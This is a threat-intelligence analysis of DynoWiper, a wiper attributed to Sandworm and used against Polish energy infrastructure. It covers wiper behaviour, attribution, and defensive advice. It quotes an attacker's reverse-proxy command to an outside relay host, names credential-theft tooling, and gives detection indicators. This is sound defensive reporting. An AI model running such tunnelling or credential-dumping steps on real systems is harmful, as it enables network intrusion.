DynoWiper: Sandworm's First Confirmed Wiper Strike on a NATO Energy Sector

What Happened: The December 29–30 Attack

On December 29 and 30, 2025, cyberattacks targeted multiple components of Poland's energy generation and distribution infrastructure. The targets included two combined heat and power (CHP) plants — facilities that simultaneously produce electricity and thermal energy for district heating systems, making them dual-purpose critical infrastructure — and a centralized system for managing electricity generated from renewable energy sources including wind turbines and photovoltaic farms.

Polish Energy Minister Milosz Motyka publicly characterized the incident as "the strongest attack on the energy infrastructure in years," and Polish Prime Minister Donald Tusk confirmed the country had successfully repelled the attack. "The systems we have in Poland today proved effective," Tusk said. "At no point was critical infrastructure threatened, meaning the transmission networks and everything that determines the safety of the entire system." Polish officials attributed the attack to groups linked to Russian intelligence services. The government simultaneously announced preparations for additional safeguards and accelerated passage of cybersecurity legislation imposing stricter requirements on IT/OT risk management and incident response for critical infrastructure operators.

ESET Research, which investigated the incident, published its attribution analysis on January 30, 2026, and a detailed technical follow-up on its WeLiveSecurity blog. CERT Polska conducted its own independent investigation and published a complementary report. The ESET attribution: Sandworm, the GRU's Unit 74455, assessed at medium confidence based on malware technical overlaps and TTP similarities to prior confirmed Sandworm operations.

The Anniversary Dimension

The timing of the attack — December 29, 2025 — fell on almost the exact tenth anniversary of Sandworm's BlackEnergy attack against Ukraine's power grid in December 2015, which resulted in the first confirmed malware-facilitated power blackout in history, leaving approximately 230,000 people without electricity in the Ivano-Frankivsk region. ESET specifically highlighted the anniversary in its attribution analysis, noting that the coordinated attack occurred "on the 10th anniversary of the Sandworm-orchestrated attack against the Ukrainian power grid."

Whether the timing was deliberate signaling — communicating to Poland, Ukraine, and NATO that Sandworm's capacity for destructive energy sector attacks has not diminished and has now been extended to a NATO state — or operational coincidence is not something open-source analysis can definitively resolve. The symbolic resonance of deploying a new wiper against NATO energy infrastructure on the tenth anniversary of the first malware-caused blackout is, however, consistent with Sandworm's documented history of psychologically calibrated timing in major operations. The 2018 Olympic Destroyer attack against the Winter Olympics in Pyeongchang is the clearest prior example of Sandworm selecting a moment with maximum symbolic visibility for a destructive deployment.

DynoWiper: Technical Analysis

ESET named the malware DynoWiper and detects it as Win32/KillFiles.NMO, with a SHA-1 hash of 4EC3C90846AF6B79EE1A5188EEFA3FD21F6D4CF6. It is a Windows-targeted data wiper — malicious software designed to irreversibly overwrite file contents, rendering systems inoperable rather than holding data hostage for ransom. Unlike Sandworm's earlier ICS-targeting wipers (Industroyer, Industroyer2), DynoWiper focuses exclusively on the IT environment, with no observed functionality targeting operational technology industrial components. ESET noted this explicitly but also cautioned that it cannot exclude the possibility that OT-targeting capabilities existed elsewhere in the attack chain that was not exposed during the blocked deployment.

Three-Phase Destruction Workflow

DynoWiper executes a three-phase destruction sequence. In the first phase, it recursively enumerates files on all fixed and removable drives, building a target list while deliberately excluding certain system directories. This directory exclusion serves a specific operational purpose: preserving enough system stability to allow the wiper to complete its own execution before the system becomes non-functional. If the wiper destroyed critical system files first, Windows could terminate the process mid-wipe, limiting the damage. The exclusion list ensures the system remains bootable long enough for the wiper to work through its target file set.

In the second phase, DynoWiper overwrites file contents with random data. The implementation uses a 16-byte buffer containing random data generated once at the start of execution. Files of 16 bytes or smaller are fully overwritten. For larger files, to accelerate the destruction process, only portions of the content are overwritten rather than the entire file — a speed-optimization that trades completeness of overwrite for execution speed. This design mirrors the approach documented in the ZOV wiper (see attribution section below), where the same split logic for handling files of different sizes appears in the code. In two of the three deployed variants, a five-second sleep is inserted between phases.

In the third phase, DynoWiper forces a system reboot. The reboot serves as the final destructor: on restart, the operating system attempts to initialize from the now-corrupted file system and fails, completing the denial of service and preventing any last-moment recovery or malware termination by a live incident responder. The combination of overwritten files and forced reboot renders affected systems unbootable without full restoration from clean backups.

The Three-Sample Deployment Pattern

One of the analytically significant details of the DynoWiper attack is the visible evidence of iterative failure and adaptation during the deployment itself. The attackers deployed three distinct samples in succession across December 29. The first, _update.exe, had been compiled three days earlier — suggesting initial preparation on December 26. When that attempt was blocked or failed to execute as expected, the attackers compiled a second version (schtask.exe) later on December 29 and deployed it. When that also failed, they built a third variant (schtask2.exe) within approximately 53 minutes and deployed that too. ESET PROTECT, the endpoint security product deployed on the targeted machines, appears to have interfered with execution of all three variants.

The naming pattern of the samples — schtask.exe and schtask2.exe — is itself a deliberate masquerade attempt: schtasks.exe (note the plural) is the legitimate Windows scheduled task management utility. Naming a malicious binary schtask.exe (singular) is a documented technique for blending into process lists where a casual review might read it as the legitimate binary. The deployment path — C:\inetpub\pub, the default IIS publishing directory — similarly leverages a legitimate system location to stage files without immediately raising alarm.

Pre-Wiper Activity: What Happened Before December 29

The wiper deployment did not occur in isolation. ESET's analysis documented earlier attacker activity within the victim environment that preceded the December 29 wiper deployment, providing visibility into the intrusion timeline and the attackers' access level.

In early December 2025 — several weeks before the wiper was deployed — the attackers attempted to dump the LSASS process using Windows Task Manager. LSASS (Local Security Authority Subsystem Service) holds authentication credentials for logged-in users in memory; dumping it is the standard technique for harvesting plaintext passwords and Kerberos tickets from a running Windows system. The use of Task Manager rather than a dedicated tool like Procdump suggests either a preference for LOLBin-based approaches or a specific environment where dedicated tools were not available or were likely to be detected.

Alongside the LSASS dump attempt, the attackers downloaded and deployed Rubeus — a publicly available C# tool for Kerberos ticket abuse. Rubeus can request Ticket-Granting Tickets (TGTs) for domain accounts and forge service tickets through S4U2Self delegation, enabling privilege escalation and lateral movement using Kerberos-based authentication rather than password-based access. The presence of Rubeus indicates the attackers were pursuing domain-level credential access, consistent with the Active Directory Group Policy deployment method that ESET assessed was used to stage DynoWiper across the victim network.

The attackers also deployed rsocx — a SOCKS5 reverse proxy tool — configured for reverse-connect mode to the address 31.172.71[.]5:8008. The command line used: r.exe -r 31.172.71[.]5:8008. ESET traced this address to ProGame (progamevl[.]ru), a programming school for children in Vladivostok, Russia. ProGame was assessed to be a compromised third-party host used as relay infrastructure, not a direct indicator of operator location — a standard operational security practice to insert intermediate infrastructure between the operators and the victim network.

The ZOV Wiper Lineage: Attribution Through Code Overlap

ESET's medium-confidence attribution of DynoWiper to Sandworm rests primarily on technical code similarities to the ZOV wiper, which ESET attributes to Sandworm with high confidence. ZOV is named for the Russian military symbols Z, O, and V that appeared extensively in Russian propaganda displays surrounding the Ukraine invasion — a naming choice consistent with Sandworm's documented use of symbols connected to Russian military identity in its destructive tooling.

ZOV was deployed against a Ukrainian financial institution in November 2025 and against a Ukrainian energy company on January 25, 2024. The ZOV wiper, once executed, iterates over files on all fixed drives and wipes them by overwriting their contents with a 4,098-byte buffer prefixed with "ZOV" and null bytes. Two key code characteristics appear in both ZOV and DynoWiper: directory exclusion logic designed to preserve system stability during execution, and separate handling logic for files above and below a threshold size. The specific pattern of distinguishing between smaller files (fully overwritten) and larger files (partial overwrite for speed) is a code-level fingerprint that appears in both malware families. Sandworm consistently modifies wiper code between deployments to evade detection — the presence of the same structural logic in two samples deployed to different countries and different target types is the analytical foundation for the attribution chain.

The lower confidence level for DynoWiper compared to ZOV reflects a specific investigative limitation: ESET did not have full visibility into the initial access methodology used to compromise the Polish energy company. For ZOV deployments in Ukraine, the initial access chain was more fully documented, providing a more complete TTP picture. The Poland attack's initial access vector was not fully determined at the time of the ESET public disclosure, which limits the depth of the attribution evidence. This is why ESET states medium rather than high confidence — not because the malware evidence is weak, but because the full attack chain is not yet completely reconstructed.

Sandworm's broader wiper arsenal, developed and deployed since the February 2022 full-scale invasion of Ukraine, provides the comparative context against which DynoWiper should be understood. ESET documented the following families in sequence: HermeticWiper, HermeticRansom, CaddyWiper, DoubleZero, ARGUEPATCH, ORCSHRED, SOLOSHRED, AWFULSHRED, Prestige ransomware (destructive, not financially motivated), RansomBoggs ransomware, SDelete-based wipers, BidSwipe, ROARBAT, SwiftSlicer, NikoWiper, SharpNikoWiper, ZEROLOT, Sting wiper, ZOV wiper, and DynoWiper. In 2025 alone, ESET investigated more than ten incidents involving destructive malware attributed to Sandworm — almost all of them in Ukraine. DynoWiper is the first in this lineage to be confirmed deployed outside Ukraine against an energy sector target.

Sandworm's History in Poland

The Poland context for this attack is not a new development but an escalation of a pattern with a decade of history. Sandworm has targeted Polish organizations since at least 2014, when BlackEnergy malware was identified in campaigns against NATO and EU systems. The pre-invasion activities included espionage operations through BlackEnergy and its successor GreyEnergy against Polish energy and industrial organizations.

After Russia's full-scale invasion of Ukraine began in February 2022, Sandworm's targeting of Poland entered a more explicitly operational phase. In October 2022, Sandworm carried out a destructive attack against logistics companies in both Ukraine and Poland simultaneously, disguising the operation as a Prestige ransomware incident. Microsoft Threat Intelligence and ESET both attributed Prestige to Sandworm. The dual Ukraine-Poland targeting in October 2022 was the first case of Sandworm deploying what ESET now describes as its post-invasion pattern of coordinated destructive attacks across the Russo-Ukrainian conflict zone and its immediate neighbors.

The December 2025 attack represents a further escalation: from logistics infrastructure to energy generation infrastructure, from disguised ransomware to an overtly destructive wiper, and from a single incident alongside a larger Ukrainian campaign to a standalone attack against Poland's energy grid. ESET's description of the December 2025 attack as "unprecedented in Poland" specifically refers to the disruptive intent — not the presence of Sandworm activity in Poland, which has been documented for years, but the explicit targeting of energy infrastructure with malware designed to render systems inoperable.

The GPO Deployment Pattern: How Sandworm Scales Wiper Attacks

A recurring element in Sandworm's destructive operations, documented across multiple Ukraine incidents and assessed as likely in the Poland attack, is the use of Active Directory Group Policy Objects to distribute wiper malware across an entire organizational network simultaneously. This technique is operationally significant because it transforms a localized malware execution into a coordinated, network-wide destruction event.

GPO deployment requires Domain Admin privileges — the highest level of access within a Windows domain. Achieving Domain Admin access is a multi-stage process involving initial compromise, lateral movement, privilege escalation, and typically credential theft or Kerberos ticket abuse (explaining the Rubeus deployment in the pre-wiper phase). Once an operator has Domain Admin access, they can create or modify a Group Policy that applies a logon script, startup script, or scheduled task to all machines in the domain — including workstations, servers, and OT management systems — that executes when users log in or systems restart.

In Sandworm's documented Ukraine wiper deployments, a PowerShell script named POWERGAP was frequently used to push destructive payloads via GPO across compromised organizations. Although Sandworm appears to have moved away from POWERGAP specifically, continuing destructive deployments via GPO, the underlying technique persists. ESET assessed that GPO distribution was likely used in the Poland attack based on the deployment path and the consistency with Sandworm's established pattern. The wiper samples being found in C:\inetpub\pub — a path accessible from multiple network nodes — is consistent with staging on a shared location before GPO-triggered execution.

Why the Attack Failed: The EDR Blocking Chain

The DynoWiper attack failed to cause disruption because ESET PROTECT was installed on the targeted machines and appears to have interfered with the execution of all three wiper variants. This is the clearest lesson in the public record of the incident: endpoint security with behavioral detection capability blocked a previously unknown wiper before it could complete its destructive mission.

The three-sample iterative deployment — where the attackers compiled, deployed, observed failure, modified the code, and tried again twice more within a single day — is direct evidence that the security product's detection was interfering with execution. The attackers could see their wiper was not running to completion, made adjustments to the binary, and redeployed. All three variants were blocked. ESET's description of the outcome is precise: the wiper's execution was "significantly limited," with ESET PROTECT installed on the targeted machines being the specific control that achieved this.

The narrow-miss framing matters for defenders. The Polish government's statement that the attack was thwarted and that "at no point was critical infrastructure threatened" is accurate as stated — the wiper did not succeed in destroying systems. But the same attack against a target without endpoint security capable of detecting and blocking a previously unknown wiper would have succeeded. The 500,000-person power-loss estimate attributed to Polish authorities represents the counterfactual of a successful execution.

What the Poland Attack Signals

The DynoWiper attack carries three strategic signals that extend beyond its technical content.

Sandworm has operationalized destructive attacks against NATO energy infrastructure. This is not a threat assessment or a prediction — it is a documented fact as of December 29, 2025. The attack occurred. A wiper was deployed against Poland's power infrastructure. The fact that it was blocked does not reduce the significance of the operational decision to attempt it. The question of whether Russia will escalate to destructive attacks against Western critical infrastructure has been answered: it did, and the barrier was technical execution, not strategic restraint.

The wiper tooling is continuously evolving, with new variants compiled and deployed within the same operational window. The three-sample pattern in the Poland attack shows a development and deployment cycle operating within hours. ESET investigated more than ten Sandworm destructive incidents in 2025, almost all in Ukraine. Each incident contributes to operational learning that the next deployment benefits from. DynoWiper is not a one-off payload but part of a continuous wiper development program with a decade-long track record of technical innovation.

The BadPilot initial access network represents a ready pool of pre-positioned access for further attempts. Microsoft's February 2025 BadPilot analysis confirmed that Sandworm has built persistent footholds in energy, telecommunications, and other critical infrastructure in the US, UK, Canada, and Australia, in addition to European targets. The access that BadPilot generated for Ukrainian destructive attacks came from the same access-generation methodology. European and North American energy operators should assess whether BadPilot-consistent indicators of compromise — LocalOlive web shells, RMM tool anomalies, Tor egress traffic — are present in their environments, because those indicators represent the precondition for a DynoWiper-style deployment, not just an intelligence collection risk.

Defensive Implications for Energy Sector Operators

1. Endpoint security with behavioral detection is the specific control that blocked DynoWiper. The Poland attack provides a controlled comparison: environments with ESET PROTECT survived; a system without comparable protection would not have. For energy sector organizations assessing their wiper resilience, the question is not whether their signature-based AV would have detected DynoWiper (it would not have — the malware was previously unknown), but whether their endpoint security platform detects and blocks the behavioral pattern of mass file overwrite and forced reboot before those actions complete.
2. Domain Admin privilege acquisition is the prerequisite for GPO-based wiper deployment. The pre-wiper tooling — Rubeus for Kerberos abuse, LSASS dumping, rsocx for network tunneling — represents the access escalation chain that leads to GPO deployment capability. Detecting these tools before the wiper is deployed is the highest-value detection opportunity. Monitoring for Rubeus execution, LSASS memory access, and unexpected SOCKS5 proxy tools in the network provides earlier warning than waiting for wiper execution indicators.
3. Offline, air-gapped, validated backups are the recovery foundation against wiper attacks. DynoWiper overwrites file contents with random data and forces reboot. Standard backup strategies that depend on network-accessible backup infrastructure can be corrupted during the same GPO-driven wiper deployment. Backups stored on systems accessible from the compromised domain are not reliably available for recovery. Immutable, air-gapped, or offline backups — tested for recovery capability — are the specific architectural requirement for post-wiper restoration.
4. Monitor for the specific pre-wiper indicator combination: Rubeus, LSASS access via non-system processes, and reverse SOCKS5 proxy tools. The ESET technical analysis provides specific detection opportunities. Rubeus execution from any host is a high-confidence indicator of Kerberos credential abuse. LSASS process access from non-Microsoft signed binaries generates Sysmon Event ID 10 with access mask 0x1010. Rsocx-style SOCKS5 proxy tools connecting outbound in reverse-connect mode are detectable through network flow analysis. Any combination of these in an energy sector environment warrants immediate incident response escalation.
5. GPO hardening reduces the blast radius of domain-level compromise. Restricting which accounts can create or link Group Policy Objects, alerting on GPO creation and modification events, and auditing startup and logon scripts in existing GPOs limits what an attacker with Domain Admin can deploy even after achieving that access level. These controls do not prevent Domain Admin compromise but narrow the window between compromise and destructive deployment, increasing the chance that detection occurs before wiper execution.

Key Events Timeline

Key Takeaways

1. The DynoWiper attack on Poland is the first confirmed destructive wiper deployment by Sandworm against a NATO member state's energy infrastructure. The attack was thwarted, but the operational decision to attempt it represents a genuine escalation — from intelligence collection and positioning to active destructive attack — against an EU/NATO country's power grid.
2. The December 29 timing, on the tenth anniversary of the first malware-caused power blackout, was almost certainly deliberate. Sandworm has a documented history of selecting symbolically resonant timing for major destructive operations. The anniversary framing sends a signal to Poland, Ukraine, and NATO allies about both capability and intent.
3. DynoWiper's three-phase workflow shares structural code logic with the ZOV wiper, which ESET attributes to Sandworm with high confidence. The directory exclusion pattern and the split logic for handling small versus large files provide the technical foundation for the medium-confidence attribution. The lower confidence relative to ZOV reflects incomplete visibility into the initial access chain, not weakness in the malware evidence itself.
4. The three iterative samples deployed within a single day reveal both the attackers' persistence and the effectiveness of the defense. The rapid recompilation cycle — first attempt, failure, second attempt within hours, failure, third attempt within an hour — shows operators who expected success and encountered unexpected resistance. All three variants were blocked by ESET PROTECT, demonstrating that behavioral endpoint security is a genuine defense against previously unknown destructive payloads.
5. The pre-wiper tooling — Rubeus, LSASS dumping, rsocx — is detectable before wiper deployment. These tools appeared in the environment in early December, weeks before the December 29 wiper deployment. Organizations with adequate telemetry coverage and detection rules for Kerberos abuse tools, LSASS credential access, and SOCKS5 reverse proxies would have had early warning indicators available. The detection opportunity exists earlier in the kill chain than the wiper execution stage.

The Poland attack is a data point in a trajectory, not an isolated incident. ESET investigated more than ten Sandworm destructive incidents in 2025, almost all in Ukraine. BadPilot's 2024 expansion built access into Western energy infrastructure. DynoWiper was deployed to Polish power infrastructure on the tenth anniversary of the first cyber-enabled blackout. Each of these facts is individually significant. Together, they describe a program of deliberate escalation toward European and NATO critical infrastructure that is currently active and that is not constrained by the absence of formal state-of-war conditions between Russia and NATO member states.